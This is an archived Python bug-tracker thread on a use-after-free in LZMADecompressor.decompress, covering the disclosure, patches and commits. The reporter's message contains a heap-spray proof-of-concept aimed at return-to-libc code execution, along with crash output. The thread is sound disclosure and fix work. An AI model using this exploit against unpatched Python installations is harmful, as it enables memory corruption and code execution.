[issue28275] LZMADecompressor.decompress Use After Free

2017-03-31 Thread Donald Stufft

Changes by Donald Stufft :


--
pull_requests: +1063

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-30 Thread Martin Panter

Changes by Martin Panter :


--
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-30 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 36d37ff6c236 by Martin Panter in branch '3.5':
Issue #28275: Clean up to avoid use-after-free after bzip decompress failure
https://hg.python.org/cpython/rev/36d37ff6c236

New changeset dca18f0ec280 by Martin Panter in branch '3.6':
Issue #28275: Merge bz2 fix from 3.5 into 3.6
https://hg.python.org/cpython/rev/dca18f0ec280

New changeset 35b5f4cc08f4 by Martin Panter in branch 'default':
Issue #28275: Merge bz2 fix from 3.6
https://hg.python.org/cpython/rev/35b5f4cc08f4

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-28 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

LGTM. And may be worth to rewrite lzma test in your style.

--
resolution: fixed -> 
stage: resolved -> commit review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-28 Thread Martin Panter

Martin Panter added the comment:

Here is a patch to fix the corresponding bug in the bzip decompressor. I will 
try to commit it soon if there are no objections.

For the record, these bugs were introduced with the max_length support in Issue 
15955. The bzip code was modelled after the LZMA code.

--
assignee: serhiy.storchaka -> martin.panter
nosy: +martin.panter
status: closed -> open
Added file: http://bugs.python.org/file44873/bzip-failure.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-27 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Committed with small changes. Thank you John for your contribution.

Tested that 3.4 is not affected.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-27 Thread Roundup Robot

Roundup Robot added the comment:

New changeset b4c0e733b342 by Serhiy Storchaka in branch '3.5':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/b4c0e733b342

New changeset 52f8eb2fa6a6 by Serhiy Storchaka in branch '3.6':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/52f8eb2fa6a6

New changeset 6117d0e1a5c9 by Serhiy Storchaka in branch 'default':
Issue #28275: Fixed possible use adter free in LZMADecompressor.decompress().
https://hg.python.org/cpython/rev/6117d0e1a5c9

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-26 Thread Christian Heimes

Changes by Christian Heimes :


--
priority: normal -> critical
versions: +Python 3.6, Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-26 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka
stage: test needed -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-26 Thread John Leitch

John Leitch added the comment:

Of course. Attached is a new patch that includes test coverage. It crashes on 
failure as there isn't any reasonable way to monitor for this kind of undefined 
behavior, but it's better than nothing.

--
Added file: http://bugs.python.org/file44829/_lzmamodule_uaf_fix-2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Thanks John. Could you please add a test based on your reproducer?

--
nosy: +serhiy.storchaka
stage:  -> test needed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Alex Gaynor

Changes by Alex Gaynor :


--
nosy: +nadeem.vawda

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Alex Gaynor

Changes by Alex Gaynor :


--
keywords: +security_issue

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread John Leitch

Changes by John Leitch :


Added file: http://bugs.python.org/file44828/Py35_LZMADecompressor.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread John Leitch

New submission from John Leitch:

Python 3.5.2 suffers from a use after free vulnerability caused by the behavior 
of the LZMADecompressor.decompress method. The problem exists due to a dangling 
pointer created by an incomplete error path in the _lzma!decompress function.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = >lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
[...]
}
else {
lzs->next_in = data;
lzs->avail_in = len;
input_buffer_in_use = 0;
}

result = decompress_buf(d, max_length);
if(result == NULL)
return NULL;
[...]
}

When the function is first called, lzs->next_in is NULL, so it is set using the 
data argument. If the subsequent call to decompress_buf fails because the 
stream is malformed, the function returns while maintaining the current value 
for lzs->next_in.

A couple returns later, the allocation pointed to by lzs->next_in (data) is 
freed:

static PyObject *
_lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject 
*kwargs)
{
PyObject *return_value = NULL;
static char *_keywords[] = {"data", "max_length", NULL};
Py_buffer data = {NULL, NULL};
Py_ssize_t max_length = -1;

if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
, _length))
goto exit;
return_value = _lzma_LZMADecompressor_decompress_impl(self, , 
max_length);

exit:
/* Cleanup for data */
if (data.obj)
   PyBuffer_Release();

return return_value;
}


At this point, any calls to decompress made to the same Decompressor instance 
(a typical use case--multiple calls may be necessary to decompress a single 
stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus 
memory corruption.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = >lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
size_t avail_now, avail_total;
[...]
memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
lzs->avail_in += len;
input_buffer_in_use = 1;
}
else {
[...]
}
}

This vulnerability can be exploited to achieve arbitrary code execution. In 
applications where untrusted LZMA streams are received over a network, it might 
be possible to exploit this vulnerability remotely. A simple proof of concept 
that demonstrates a return-to-libc attack is attached.

import _lzma
from array import *

# System address when tested: 76064070
d = _lzma.LZMADecompressor()
spray = [];
for x in range(0, 0x700):
meg = bytearray(b'\x76\x70\x40\x06' * int(0x10 / 4));
spray.append(meg)

def foo():
for x in range(0, 2):
try:

d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41"
 * int(0x100 / (4*4)))
except:
pass
foo()
print(len(spray[0]))
print(len(spray))


To fix the issue, it is recommended that lzs->next_in be zeroed in the event 
the call to decompress_buf fails. A proposed patch is attached.

result = decompress_buf(d, max_length);
if(result == NULL) {
lzs->next_in = 0;
return NULL;
}


A repro file is attached as well.

Exception details:

0:000> r
eax=000a ebx=009ef540 ecx=0002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917mov dword ptr [edi],edx  ds:002b:09275fe8=
0:000> k
ChildEBP RetAddr  
009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 
[f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
009ef434 5d573383 _lzma_d!decompress+0x130 
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997]
009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097]
009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 
[c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99]
009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 
[c:\source2\python-3.5.2\objects\methodobject.c @ 98]
009ef4fc 55f6008d python35_d!call_function+0x3e9 
[c:\source2\python-3.5.2\python\ceval.c @ 4705]
009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d 
[c:\source2\python-3.5.2\python\ceval.c @ 3238]
009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d 
[c:\source2\python-3.5.2\python\ceval.c @ 4018]
009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d 
[c:\source2\python-3.5.2\python\ceval.c @ 4039]
009ef63c 55fe67de python35_d!PyEval_EvalCode+0x21 
[c:\source2\python-3.5.2\python\ceval.c @ 777]